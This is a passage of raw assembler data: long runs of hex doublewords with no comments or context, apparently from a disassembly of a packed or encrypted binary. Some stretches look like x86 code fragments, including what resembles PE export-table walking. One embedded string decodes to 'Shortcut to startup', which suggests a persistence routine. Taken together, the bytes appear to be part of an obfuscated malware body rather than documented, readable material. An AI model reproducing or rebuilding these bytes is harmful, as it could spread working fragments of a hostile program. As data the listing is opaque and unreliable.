		dd 0CDA340Fh, 61323208h, 18862AA5h, 2AC6535Dh, 9A3CE40Fh
		dd 0B96DC50Ah, 1323243h, 0E962324Ah, 1323213h, 59F16A28h
		dd 516768Dh, 5167683h, 1323219h, 38F162C0h, 0D3BD5DD6h
		dd 3038FA9h, 0E0CD340Fh, 0E9623262h, 1323207h, 59F16A22h
		dd 5167688h, 5167601h, 132325Ah, 99F16260h, 0E3161039h
		dd 823D3BCFh, 1323202h,	2143A731h, 6B53341Eh, 2DA6280h
		dd 21323240h, 886AF178h, 80361654h, 1C36164Ch, 41323204h
		dd 0B9D3F152h, 4635DFF3h, 8966C66h, 0E27B741h, 0BCBF343Fh
		dd 7167480h, 4840BF85h,	758A3420h, 3233A081h, 1E3BDB84h
		dd 0C0FD1986h, 50325820h, 13231C8h, 0C26B1210h,	257EBB51h
		dd 2576B300h, 1322F06h,	0E9837301h, 8BA4F305h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 96C448B6h, 0E91931CCh, 13h, 53547760h, 99E45DDEh, 0AA83CA19h
		dd 88271DE2h, 8B1354B7h, 8DC38BD8h, 244AA68Dh, 0CF816606h
		dd 8D89E22Ch, 61F0B5Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 17C35242h, 30F0C91Bh,	0E380F824h, 0C585C7DBh
		dd 74061F20h, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0DCCEC355h,	0DD1C1EA7h
		dd 0BA6046FBh, 112F4C8h, 10E9h,	0A2475300h, 20F540B1h
		dd 89A76D1Dh, 0B1621FACh, 85C76100h, 61F137Dh, 0
		dd 0BD8BE78Ah, 61F3079h, 105DB5FFh, 6A061Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E1EC52C3h
		dd 0E517CA55h, 66EDB797h, 0E30CC781h, 2D5995FFh, 8589061Fh
		dd 61F2AE5h, 6A5FF956h,	4595FF00h, 8B061F1Dh, 0FF1BEBC0h
		dd 3B8A6E6Ah, 664787CFh, 3EDA0068h, 282C2584h, 163AF23Fh
		dd 0D0ABD8E4h, 6CEBF897h, 726F6853h, 74756374h,	206F7420h
		dd 72617473h, 707574h, 14h dup(0)
		dd 1C99C9F6h, 1, 0FEBE9h, 4CC36800h, 8AE90624h,	68FFFBFEh
		dd 6244DD8h, 0FBFE80E9h, 4F7268FFh, 76E90624h, 68FFFBFEh
		dd 6244FB1h, 0FBFE6CE9h, 505568FFh, 62E90624h, 68FFFBFEh
		dd 6245102h, 0FBFE58E9h, 559368FFh, 4EE90624h, 68FFFBFEh
		dd 6245852h, 0FBFE44E9h, 596968FFh, 3AE90624h, 11FFFBFEh
		dd 0B5167728h, 56B7188Fh, 0FF60C154h, 0A607683Fh, 81AF1085h
		dd 8B002BECh, 2EE1C92Ah, 0D2476CCDh, 74351071h,	1F52B713h
		dd 0F7B263CFh, 0A4145900h, 30850881h, 0D62B9415h, 8E184BA3h
		dd 4FDD8CF1h, 0FB8B9AEEh, 1ED25F92h, 1E83FBAFh,	57DA891Ch
		dd 0AD1ED220h, 0AAE7CBF7h, 5D2D49F1h, 29AC5B46h, 0B73AEFD4h
		dd 2CB3D274h, 0D81938DAh, 60EEA187h, 33873FCh, 31D2A1h
		dd 18690000h, 98ED7B12h, 0B11A74B1h, 0AF37237Eh, 8205B4FBh
		dd 3CCDD829h, 378B67AEh, 8325F7ADh, 46472864h, 0D9FEA102h
		dd 95000000h, 27AA7F44h, 0A4A5FA88h, 2C850881h,	4D74110Bh
		dd 0C8569112h, 40C35863h, 0CE51DAEBh, 0E3785475h, 296B6FB8h
		dd 9E6F369Bh, 50081435h, 699E7338h, 3568C286h, 0F18E99B9h
		dd 32C06F1Eh, 9D998ED1h, 2500F18Eh, 83A20364h, 0E63F870Ah
		dd 0D75AD3F2h, 5B170338h, 0D444D05Bh, 489BC25h,	0C9FBAF28h
		dd 0C065B91Ah, 0F1743510h, 73AA352h, 1CCD647h, 1F70D988h
		dd 39EED11Ch, 76817B6h,	951085A6h, 0E2FDE187h, 0B951A023h
		dd 0E100000Dh, 85E647D8h, 2687E8BFh, 0CF309104h, 76D738EFh
		dd 517FE0B5h, 5B30FB3Ch, 0FE9199FAh, 0A2773C9Dh, 44C5E041h
		dd 0EF2287E3h, 0F7B263FFh, 0A4E429D0h, 44A5069Bh, 0E247A861h
		dd 0E7FCD3C1h, 0C11A4FC4h, 275AC3EFh, 0F18E8EC7h, 76CB5908h
		dd 0B11A74B1h, 0AF37237Eh, 8205B4FBh, 0AD37A74Bh, 486709F7h
		dd 246630Ch, 0EFE2A1h, 28790000h, 0AB008E03h, 850881A4h
		dd 0DFE40F30h, 7928C74Ah, 566FEF10h, 9AE404C3h,	0BF4DFC91h
		dd 0BA22053Ch, 5C69F18Eh, 0B80D62CBh, 8EB16985h, 78BF6EF1h
		dd 0F18EB176h, 59CCF459h, 0FA8837D6h, 0E66D3899h, 8D6194DFh
		dd 42F18EB1h, 0B235E493h, 62CBBB6Ah, 0AFA05E2Fh, 9BA0F1FBh
		dd 9E4D7806h, 4ADFE435h, 0B745DAE5h, 0DD230256h, 0DE4306CFh
		dd 82EB9A75h, 0B990E31h, 0B0F46FA2h, 60C501CCh,	2A5DC65Bh
		dd 0F1CCB8C4h, 4CB56413h, 0F25B30FBh, 0B8846A9Dh, 1119F1CCh
		dd 16A4537Eh, 0B66B54B5h, 0FDC0033Bh, 150D3E2h,	0CA4h
		dd 0CB2CE5CCh, 70D1446Ah, 197A2D0Fh, 0C021F4B8h, 66C75C5Fh
		dd 0D9E25538h, 0BE82E344h, 1E2586E7h, 0FEC72889h, 0B70CC2Dh
		dd 0B26516D8h, 0CD12B9F7h, 4B809BA4h, 0EC207F78h, 77DC3DECh
		dd 3910426h, 0A506879Eh, 5281A454h, 0D831B469h,	8E1849A5h
		dd 30DF8EF1h, 0CDCC91FBh, 11C031F8h, 9B6C398Eh,	4F3FE63Ah
		dd 784EB3E6h, 7827FBAFh, 7834BEF5h, 0DA7CF7ADh,	86F07FBBh
		dd 1155A102h, 0EC000000h, 6C8A6497h, 9E4DF7ADh,	0E5AABB10h
		dd 55000008h, 0B11A74B1h, 0AF313F7Eh, 5EE190FBh, 138AB405h
		dd 84052085h, 456DBE23h, 36FA4FD2h, 634BB05Fh, 0ECB91EACh
		dd 0EE3F981Bh, 0D4F156D7h, 4E7EC553h, 199E6954h, 3A0B4867h
		dd 96AF1071h, 965B9215h, 0B952E952h, 69220354h,	7B947E6h
		dd 119AABE8h, 0B5764FB0h, 0A431FB4Ch, 0E9527D71h, 0F4A35252h
		dd 358AE366h, 0E952EC02h, 1CE9E152h, 0DC6CDC21h, 2D7402B1h
		dd 52EA11C8h, 95D2F18Fh, 3596F7B0h, 0D2E9710h, 92ED71B5h
		dd 0C95C60FAh, 6AF8A746h, 8869FE7h, 0FF294A9Fh,	23FC33ACh
		dd 22E32AB8h, 0E39A53DDh, 0B67ACB34h, 2FBD5CDFh, 0EBAF86CEh
		dd 0FD90963Ah, 2A6DB7Ah, 2FE79652h, 5689F2A1h, 946A8E77h
		dd 0D31AA958h, 0B241EE30h, 0E1B47ACBh, 5C2AFB53h, 0B7B9C0F3h
		dd 3F603C63h, 26CCC506h, 0C7F2807Eh, 0D84D9518h, 511245AEh
		dd 6A425798h, 240152BBh, 86A9FA63h, 0C1228311h,	0DEA823E4h
		dd 4AA24A1Fh, 0B0A78C7h, 0F320000h, 0EED43596h,	4B75D637h
		dd 2A1273D4h, 8EB11273h, 0FB8AB819h, 35960B34h,	0D839ECD4h
		dd 7ADBB077h, 1A7B0C19h, 0C82659BEh, 7F7B267h, 81A41B60h
		dd 60A58D08h, 0B639E2C3h, 0ACB67h, 55CEF300h, 0FAAD93F4h
		dd 9F763899h, 3ED1DD3Eh, 0DEB37CDDh, 0F93E4F7Dh, 9F006136h
		dd 42A3049Bh, 0E647A87Dh, 91ED4EDFh, 66F5F92Ch,	33DAF7B2h
		dd 5281A4EEh, 0E65E326Dh, 8D982BD2h, 21065BDEh,	8B0EBD6Ch
		dd 3FA07536h, 0C95C3EF7h, 0EC6F2407h, 0E0359E4Dh, 73F6A98Fh
		dd 0CEFF46D4h, 0FFFBB022h, 0B37AC150h, 0F73DE1BBh, 0A2F7602Eh
		dd 38046D51h, 9443E265h, 9DE47211h, 0C351B4DCh,	2E870AB9h
		dd 0BC3FC8DDh, 0EE378F1Dh, 5F0437A0h, 78BD6A4Bh, 360F60C9h
		dd 92B31475h, 0A0C09E19h, 0D154255Ch, 0A2782h, 0B96A4F00h
		dd 5E31F758h, 0FB929CFDh, 0A275399Ah, 4ADFE041h, 65AABBE9h
		dd 364C55Ah, 0A607683Fh, 4AAB0C81h, 0F551B27Bh,	68915D90h
		dd 9F46F7B2h, 0B87FA05Ah, 7195EE3Fh, 192C911Fh,	0F3B80D90h
		dd 4BCE4368h, 3F94FDACh, 8E1CE20Ch, 0AF90F5F1h,	5CBD4BFAh
		dd 8E1C7519h, 8EF82DF1h, 0C638F225h, 0DA0FFBAAh, 0C1EA28E6h
		dd 3B17174Ch, 0A8F96211h, 46AB0C9Dh, 0C957D0F5h, 2D124164h
		dd 0A756F578h, 0B1ECCF24h, 0D0D850A2h, 0E61BBA3Dh, 0E594611Ah
		dd 90072B7Ch, 0CB396E0Dh, 0FFCBFFFFh, 1F74F785h, 0A4088318h
		dd 0C8E4E7E6h, 97AF645h, 9FA20000h, 7E44A506h, 0DBE546A7h
		dd 0BA82E344h, 1E2182E3h, 6BFA2889h, 0A5069BA4h, 48A97C44h
		dd 0EA4BC0E7h, 8AEBBC89h, 5896C92Eh, 77F7B269h,	81A48BD0h
		dd 15308508h, 0C2701194h, 0CE5F66A3h, 27620D6Dh, 1E39AE3h
		dd 7A000006h, 0A1D40129h, 0F18E0C4Dh, 9624D382h, 6074B141h
		dd 8E18C12Dh, 326716F1h, 0C6BA1676h, 68D180CCh,	0AB39F535h
		dd 416DD2FBh, 0F87B1218h, 8827AA59h, 61F70D9h, 58D02485h
		dd 2D7AB134h, 87749721h, 24140D2Eh, 6F2D054Eh, 0CF102FE1h
		dd 50A7477Ah, 792870D6h, 72E887EBh, 12331A2Bh, 1D1C0DD0h
		dd 4E8D1B86h, 53h, 1377B1F9h, 187777AAh, 0A958F18Eh, 0B27CCD26h
		dd 2BB958DBh, 77F9CAE4h, 46D53D1h, 37BA693Ch, 0C144D9E2h
		dd 0DA618032h, 86C7E688h, 7AF0FE31h, 30DF11F5h,	9D313EA2h
		dd 1414BB4Ah, 0AB000000h, 653A0556h, 0F572D01Eh, 0C250FF11h
		dd 2C1AA6Dh, 0B1550000h, 0C12D6074h, 16F18E18h,	80BB8AE1h
		dd 2EDD4A13h, 0E95C92C5h, 0CC7BF18Eh, 4181B41Dh, 96FBAB94h
		dd 0CF50661h, 1BCAFEECh, 9D906198h, 0A456F7B2h,	0B6D05585h
		dd 48A81A4Dh, 40EF01CFh, 0F0A586D7h, 9FA00162h,	0E6D11D50h
		dd 5706F18Eh, 0EFD025A8h, 0E6A14D80h, 34FCF18Eh, 0EFD13661h
		dd 57DA8938h, 8CB33C02h, 90E56817h, 4E73F6ABh, 0A90A2426h
		dd 96388BC5h, 9F51F077h, 0A3784380h, 46D9E142h,	0D34A6EC3h
		dd 0CE2156Ah, 0CBF18ED8h, 7C0B8E1Ch, 24F9C213h,	0C27402A1h
		dd 734162A3h, 0FEEAB7D4h, 8FB318A6h, 275AAF18h,	0F18E9DC7h
		dd 6ACB5908h, 8E9DB527h, 42D7DCF1h, 72B7CE1h, 8E012B90h
		dd 79DE6C0Bh, 1358DBACh, 0C48D77B1h, 5C7F1EEDh,	519DD039h
		dd 86F18E3Ch, 4E9F28D7h, 0BB24B36Ah, 4ACD406Ah,	0F0B81DABh
		dd 0A05C941Dh, 0E62746F4h, 72F5AA95h, 8EE145D3h, 8D9AE34Ah
		dd 0B1E4733Ch, 0F18E303Dh, 0A634E392h, 43767h, 98ADFE00h
		dd 11C05759h, 9BA42E83h, 0AE478306h, 23607F21h,	0BD228318h
		dd 65CE436Ch, 8E18BC32h, 0DE6C1BF1h, 58E1B679h,	0E36C2307h
		dd 71F4A992h, 0FB7E131Ch, 70F716B8h, 153D5EC3h,	0E12FCD7Eh
		dd 2A49FB89h, 0BE4DC2EDh, 0F0354C59h, 90624279h, 0CB028534h
		dd 0F18E3826h, 0B2EF0EC0h, 54B91A93h, 6509C933h, 8816F282h
		dd 1E871C23h, 8A9C48FDh, 2CBA34F8h, 577F72A9h, 0FF68F18Eh
		dd 9D7869DEh, 0E2C3B8BFh, 5807A629h, 0BCF918CAh, 5CC122F7h
		dd 0ED70270Bh, 179C04Eh, 0A8F18E4Dh, 8E5D7975h,	0C2F55EF1h
		dd 0F18E5D2Ch, 9E4DFCABh, 0E380363Ah, 0FF06119Ah, 57A8FFFFh
		dd 545ABF54h, 0A4DE33C1h, 42A70881h, 81127921h,	22B3E8BFh
		dd 238816E2h, 0CF068902h, 0F18EB122h, 58DBAC79h, 8AAE3B03h
		dd 52E16413h, 0E0FA81A0h, 7DCE0F2Eh, 0EC51DFA8h, 0FF969AD9h
		dd 4174DD7Ch, 0F18EB1ADh, 63C47322h, 0E1643902h, 5C766788h
		dd 0EE9F82ACh, 6FA453CAh, 6D00FB2Ah, 569D2B83h,	17BD42Fh
		dd 0EC2847E9h, 6B56E083h, 0A0767798h, 498AE9ACh, 497E8A22h
		dd 0EA4F6311h, 2AC94CC1h, 755D9Ch, 0B1080000h, 5CB11A74h
		dd 8E18C529h, 0CD5B0AF1h, 4FEE0F64h, 7A34E34Eh,	17ABF280h
		dd 60FBAACBh, 0B36235FBh, 5B2CF94Ah, 28AB39D8h,	0B25AFCF1h
		dd 0E908AAF7h, 773C2ADh, 0D10459A1h, 0F7B2591Dh, 679A03B2h
		dd 0F7B25987h, 0CC0B9948h, 21h,	217FA077h, 0B0AD65A9h
		dd 0EFA686EBh, 0F83FCD6Ch, 0F18E3926h, 0FD4D2685h, 0AAD1FFFFh
		dd 7, 286AA55h,	0A4550000h, 4E9F0881h, 0A629B76Eh, 52B37451h
		dd 0FE6727FEh, 0BB5258A9h, 0C40B9938h, 0FBAF1E6Dh, 0CEC58BACh
		dd 0EF0E3119h, 4873661h, 0AD5025CDh, 0CAE98BF7h, 272E18Eh
		dd 3164A1h, 0A00F0000h,	0EC65A67Fh, 0F17FCB39h,	99028C99h
		dd 0AFD03B66h, 46D1CFBh, 0B11689B3h, 2851394h, 0AD9E27CBh
		dd 0C8E789F7h, 2ACE38Ch, 0BA62A1h, 0A40D0000h, 0D31B4E81h
		dd 4F18E18h, 0CE23A655h, 60B538EDh, 0EC41C445h,	96E750D9h
		dd 0A97E4592h, 4AD88726h, 1C81A6E9h, 0B304F18Eh, 258A188Fh
		dd 0D2268700h, 97CA3353h, 0FBADA94Ah, 3253BC6Bh, 5AB7E47Bh
		dd 0C5295C23h, 0AF7AF7Ah, 0B51EAC5Bh, 65C65B64h, 0EB663B04h
		dd 0E4E202A9h, 0E9E332B5h, 11000004h, 0B5167728h, 56B7188Fh
		dd 0FF60C154h, 0A607683Fh, 81AF1085h, 8B002BECh, 2EE1C92Ah
		dd 0D2476CCDh, 74351071h, 1F52B713h, 0F7B26DCFh, 0A4145900h
		dd 44A5069Bh, 33BBEE61h, 0A4F18E18h, 0BCDD46F5h, 5B88EE48h
		dd 79AC15B0h, 0F18ED975h, 0BC1DAB5Ah, 70250657h, 6BC04EEDh
		dd 9F0881A4h, 34B76E4Eh, 2F840795h, 44DBDF16h, 127322C1h
		dd 0BE2767BEh, 0AF0B7A8Bh, 0E3CC1DFBh, 0C675A02Eh, 0F4B7085Dh
		dd 0B6FD9C1Fh, 0F7AD2B38h, 9A133297h, 0A3DA5DEBh, 0F7AD2B51h
		dd 0C8FB6850h, 0F7AD2B26h, 0C84BFAA9h, 51D44B73h, 5CE302B0h
		dd 0AEDEFDABh, 5DAE1777h, 9B3ABD52h, 9471A40Dh,	7901CE1Eh
		dd 101569CAh, 68EC0D76h, 0DDFEC8A2h, 0E0633A02h, 9B049241h
		dd 0AB66C268h, 6DD685FBh, 127B121Ch, 0A72AFDC1h, 0D6197A08h
		dd 0F7B30616h, 90052677h, 1EF3B80Dh, 0BF4DFC9Bh, 57C0555Ah
		dd 0FFD3CB36h, 7806044Ah, 6CBC17h, 0C2670000h, 0F18E1830h
		dd 74DDB17Ah, 831823h, 0D72D361h, 8D1BF2BCh, 0D5D90628h
		dd 7120BF42h, 7E4495EEh, 5CFCD621h, 0D1805106h,	0DA21AF4Eh
		dd 0F18EF414h, 0D0D62790h, 0DEFDAF3Dh, 9F089FA1h, 0BB30774Eh
		dd 0B072EF1Bh, 0A0018F3Eh, 3AA3783Fh, 0A4146E19h, 0F58384B5h
		dd 87B63B72h, 7D2FF18Eh, 0CB1A215Eh, 8E875698h,	1BCA79F1h
		dd 9FA469BAh, 4D110584h, 23D25796h, 502599BAh, 0DB0CDD5Dh
		dd 50DEAF76h, 0DEB378CDh, 0ED0CBA5Bh, 0B5168BB0h, 6338FF50h
		dd 4E28ED5h, 46DF18Fh, 413EBDE3h, 8625A87Fh, 0EC748C51h
		dd 3876FA5Eh, 50D19AE4h, 7CFFFFFFh, 0B76C4FA0h,	46A8DB34h
		dd 89F18E18h, 389D2BDAh, 0E2339C6Dh, 34B745D8h,	0AD8FC6DFh
		dd 96EA4BFAh, 6396FF8Fh, 0FBAF1ECEh, 891C2287h,	35B86706h
		dd 0EBA08BDCh, 0F43BC968h, 0F7AD1DFEh, 1A4D9C9Fh, 0F7AD1ED4h
		dd 22A55403h, 0AD30E7CDh, 68A9C86Ah, 0AD1EB935h, 0C06F1EF7h
		dd 71ADCC6Eh, 0A10240FEh, 2847h, 0A38DDE00h, 0B1095EECh
		dd 0C95C6474h, 237EB11Ah, 0B4FBAF37h, 0A74B8205h, 9F7AD37h
		dd 630C4867h, 0E2A10246h, 0C4h,	881A48Dh, 0D60B2C85h, 19B40C16h
		dd 0BC7FE472h, 0BA0B64E7h, 759A1DF0h, 0A7E00F52h, 0B442F1A6h
		dd 32B5764Fh, 0DE3FC8DDh, 8EE98C9Bh, 793213F1h,	1DEEB718h
		dd 0B3D3529Ah, 0D546174Ah, 0B867FBAFh, 0AA220357h, 0ADF27777h
		dd 0FAA958F7h, 828D5E91h, 9F4E01CDh, 598CE136h,	0F1CC8295h
		dd 98FD8B3Ah, 0B1644C97h, 0EB3CA102h, 5DC250C7h, 7642BD52h
		dd 16E2FD0Ah, 22A4493h,	6F520000h, 0CEF455B6h, 0AB95F657h
		dd 0A3293F4h, 0EED13293h, 0DBAAD839h, 55B66B54h, 0F859CCF4h
		dd 9AFB9097h, 3A9B6C39h, 0A84679DEh, 27F7B270h,	9BA43B80h
		dd 15489D06h, 0F18E18D9h, 1B3817F4h, 6D98739Ch,	6ECF30BEh
		dd 2475D657h, 0BA6D4FA0h, 0B20A9837h, 59AA1373h, 0CB34C255h
		dd 0AF370998h, 96FFAEFBh, 54D5F041h, 0AD37E10Dh, 0B947F6F7h
		dd 37F3FF36h, 1BBDF7ADh, 45AFC0FCh, 0EE96A102h,	41000000h
		dd 850881A4h, 4AA4D72Ch, 8DF18E18h, 0AC4275DEh,	2BF18E18h
		dd 0A689EE7Ch, 0F4156EF1h, 0CAE90249h, 4A7DE679h, 0F18E18A4h
		dd 0AFF68433h, 0F18E1C78h, 2485061Fh, 5273E2C3h, 8B756D9h
		dd 0B96C4E9Fh, 0C560A82Bh, 302D60C9h, 85FBAF10h, 0CF4C6DD6h
		dd 0CEAD23C4h, 2478D967h, 0E91C8501h, 1CD5B5Dh,	0B90A7322h
		dd 0F9981BECh, 65F3AA94h, 5456A7FCh, 0EDCE33C1h, 0B87ECF38h
		dd 35C362E5h, 0E44E6FD4h, 0E3E748CEh, 0EDCE33C1h, 0F2CFBD38h
		dd 189BE2FDh, 113C9h, 9D763B00h, 42D5DB3Ch, 0E7BE80E1h
		dd 86192586h, 26FBC425h, 41F697C5h, 0E748A97Eh,	8AEB4CC3h
		dd 2E8FF0A5h, 0D9359617h, 71AD4174h, 7B22F7B2h,	684FA036h
		dd 0FFC025B3h, 5D68C92Ah, 0FAC51216h, 2F117625h, 0B60C978h
		dd 8E1816D8h, 0A878AFF1h, 4E1264AEh, 85E67423h,	4D7FA034h
		dd 0B30481F1h, 0C4E146D4h, 5A6BC043h, 0F87B101Bh, 53CAF459h
		dd 218231D0h, 66B59BBCh, 275889E9h, 0AAE44199h,	0ECB80E41h
		dd 6817FBAAh, 0F4B590E5h, 0EB03368Bh, 0ECF7B27Ah, 0ED4EAF3Dh
		dd 95CC4FD8h, 0D2E5ECAEh, 0A2D52A93h, 0E28084Ch, 9C4EDC8Bh
		dd 0A465407Dh, 13551A3Bh, 738C6295h, 9C4B0E27h,	0B9F8FF67h
		dd 9DD11D50h, 57060E27h, 0AE0368C9h, 3E84E48Dh,	438A3BC0h
		dd 0E27E2ABh, 8AEF7D2Ch, 9B723CBBh, 281469ECh, 3BA4F275h
		dd 0E23BB3E6h, 679C0E27h, 0E0E2654Ch, 7503B214h, 5E67A4C3h
		dd 3A0B6CCDh, 0D9FEE71h, 36000000h, 0B745DAE5h,	0A4F55E62h
		dd 277C0A9Fh, 81049DA4h, 0D90192Ch, 9B1EF3B8h, 28AB6246h
		dd 0B033E8D3h, 38BB505Bh, 0C144DBE3h, 48CB426Ch, 0D75ACDF3h
		dd 0E089508Eh, 405h, 4E88300h, 2474FF50h, 48F5804h, 0BC685C24h
		dd 89000041h, 2268243Ch, 89000026h, 0EC83240Ch,	24148904h
		dd 1F550968h, 0EAC15A73h, 81D2F704h, 0A9BF1CEAh, 5AD789F2h
		dd 4EC81h, 24890000h, 24048124h, 4, 89535659h, 5BDE89FBh
		dd 5E087189h, 592434FFh, 4C481h, 3C8B0000h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0FBEEB0E9h, 2F3949FFh, 0D585E093h
		dd 245AA1B8h, 0FFC50306h
		dd 0EB644CE0h, 5F21BC61h, 79836E75h, 1D874433h,	3A37B203h
		dd 27F6F916h, 188D8D1Bh, 6A06245Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 836FC357h
		dd 29205BF9h, 1F021DBDh, 5D8D8906h, 66061F0Bh, 85C7D68Bh
		dd 61F20C5h, 5DDCh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0C5C35545h, 807B6D69h, 7D85C746h, 61F13h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 7FA8C356h, 9D1D106Bh, 0FDB53119h
		dd 0FF061F1Fh, 1F0865B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 64023A46h
		dd 27D09B5Ah, 0B2DE8B66h, 5995FF4Dh, 29061F2Dh,	1F2B8595h
		dd 0FF006A06h, 1F1D4595h, 0EBC08B06h, 3E006C1Ch, 6978EFD2h
		dd 0E81FB27Ah, 0C55923E2h, 39FD1F6Dh, 0E9F7543Bh, 3883A079h
		dd 58D8D42h, 6A06245Dh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 14E2C356h, 9D89B6E5h
		dd 61F0F4Dh, 0B5D8D89h,	14E9061Fh, 0C000000h, 0D930FB37h
		dd 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h, 0C719074Fh, 1F20C585h
		dd 65A406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0B60FAA4Eh, 0ECAA2D61h, 7D85C799h
		dd 61F13h, 89000000h, 1F16C1BDh, 15B5FF06h, 29061F1Dh
		dd 1F0E49B5h, 5995FF06h, 6A061F2Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F6C2C355h
		dd 0CCDD5F65h, 0EC2B2286h, 308DB503h, 6A061Fh, 1D4595FFh
		dd 0C08B061Fh, 29143BEBh, 0BAC7CDC6h, 8D62A347h, 4420C612h
		dd 43B89FCh, 0A3A83E16h, 8F22C2CDh, 0C3675FEFh,	0C5E68C8Eh
		dd 995F41E4h, 13D5A992h, 4E7E9C50h, 87E2644Ah, 910CC1A0h
		dd 658103B6h, 0AE8A0h, 32B30000h, 0F4E938B0h, 933B7E53h
		dd 0EE9h, 79473000h, 0F7E8FA66h, 0E2C83B9Dh, 5899EA43h
		dd 691EC081h, 0D22B0000h, 8A0Fh, 34FF0000h, 65B58B02h
		dd 5B061F23h, 0CD18D89h, 0F381061Fh, 230559ABh,	14C1BD0Bh
		dd 0C381061Fh, 71A5F7ADh, 0B5858960h, 0B9061F1Fh, 7D827D02h
		dd 8EC38161h, 0BF0173AEh, 64472573h, 98A0F53h, 0F000000h
		dd 387h, 0FE8B6600h, 8B10048Fh,	1F16A1BDh, 0EDD18106h
		dd 831B2B60h, 0BE903EAh, 34000000h, 208ECFCCh, 0B3AFE2BCh
		dd 0BF4A09ACh, 62BC7032h, 97A8FA81h, 850FFFFFh,	0FFFFFF82h
		dd 0F5958960h, 0E8061F0Dh, 10h,	91B6FFC6h, 437AD038h, 392AA182h
		dd 0E9228C8Ah, 615EF98Bh, 13759D8Dh, 39B8061Fh,	89000000h
		dd 1F1C0585h, 0E806h, 5580000h,	0Dh, 39E90389h,	0
		dd 0Dh dup(77E600h), 0FF77E600h, 0B0E9h, 8C666000h, 4C2F6DAh
		dd 0C850Fh, 853B0000h, 61F20D9h, 36840Fh, 853B0000h, 61F2C51h
		dd 2A840Fh, 853B0000h, 61F1BE5h, 1E840Fh, 853B0000h, 61F0BBDh
		dd 12840Fh, 0BD830000h,	61F1D25h, 5840F01h, 0E9000000h
		dd 5Fh,	5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
		dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
		dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
		dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
		dd 61F4DB0h, 5B8h, 61E3FF00h, 8DD00BC3h, 245FC88Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 269AC935h, 8B60B83Eh, 899D03D8h, 61061F14h, 0B5D8D89h
		dd 0FE9061Fh, 0F0000000h, 8481C01Bh, 0CB17F026h, 75ADB00Dh
		dd 85C77A9Ah, 61F20C5h,	727Ch, 137D85C7h, 61Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 1D4AB1C3h, 0B252855Fh, 0B5FF5EDAh, 61F105Dh,	418770BEh
		dd 5995FF15h, 89061F2Dh, 1F1C458Dh, 0FF006A06h,	1F1D4595h
		dd 0EBC08B06h, 98767D1Bh, 4E452AA5h, 0CCC2327h,	0C4FC91B2h
		dd 7A5440CAh, 0AF13DAFFh, 0BBB19FBAh, 60EBh, 17h dup(0)
		dd 0E5E90000h, 0E900000Bh, 0BD9h, 24689668h, 1D24E906h
		dd 1568FFFBh, 0E906246Ah, 0FFFB1D1Ah, 246A8668h, 1D10E906h
		dd 0D9D3FFFBh, 0B8EDB128h, 9E0CD047h, 8128EC63h, 6343077Eh
		dd 21DB279Eh, 778A1Ch, 2198773Ch, 3FB64B5Dh, 5CD32C7Bh
		dd 966E1A93h, 2919AF41h, 0BA868F1h, 41AB832Fh, 8A3E19AFh
		dd 88AC54E6h, 0CC6E4525h, 0D3A14820h, 8327DB1Fh, 0AC07BBF1h
		dd 7F28EC63h, 0E871EE80h, 0D3A1643Ch, 1F43F71Fh, 36C8396Fh
		dd 5D093182h, 1FD3A185h, 47C06418h, 0BBDF2087h,	0C4317529h
		dd 0E5771BE6h, 138C7531h, 1AAC5553h, 0F9144C72h, 0A4659614h
		dd 6F3AEE80h, 604AFE90h, 4A5B0FA1h, 0ED4F6133h,	5D486790h
		dd 574EFEA2h, 0F57204A8h, 6BE8C06Ch, 0C77B1FD3h, 4A6E9317h
		dd 0CC7840F7h, 1FD36BF4h, 0B62FD387h, 0F78B0C0Ah, 82FBAF15h
		dd 0A31CE3C2h, 8B40CF6Dh, 0A3C70AC9h, 1D6CC52Ch, 901CF8A4h
		dd 0B77725F8h, 0B0E90DF2h, 64ED6AFCh, 0F88FE0B8h, 46BF7325h
		dd 0F88FC29Ah, 7DA15525h, 0AE25DACDh, 9D624537h, 0A2FC633Ah
		dd 46B9F091h, 89F329A2h, 0F405C5C3h, 0E91EF6A2h, 0FDB11FD2h
		dd 42C13359h, 8D4A8F8Dh, 77E0669h, 94B06A5Fh, 45C3F3h
		dd 0A2500000h, 0C4B9F091h, 0C9E5B015h, 0B547EB57h, 7C06690Dh
		dd 0D3A1F8D0h, 5ED78B1Fh, 60FDD828h, 529AC83h, 45097CA2h
		dd 763C9F60h, 946D39F9h, 0BC7C0D70h, 48113EEh, 0D3A18058h
		dd 0BB5F131Fh, 3C7C97h,	0A2050000h, 36447A91h, 4FAEA20h
		dd 22CA5CA3h, 7C77DA7Eh, 0D3A1F8D0h, 0A205BD1Fh, 7533F37Ch
		dd 2E52FA8Ch, 1D6045CBh, 0A49D501Dh, 0AB24C804h, 0C8B48A75h
		dd 0D181BF7Bh, 0A20529D6h, 0F37C0F76h, 0D3A16F47h, 2A4E021Fh
		dd 0B42D60D7h, 0F094F308h, 0EAC08015h, 41E17317h, 25F2D36Dh
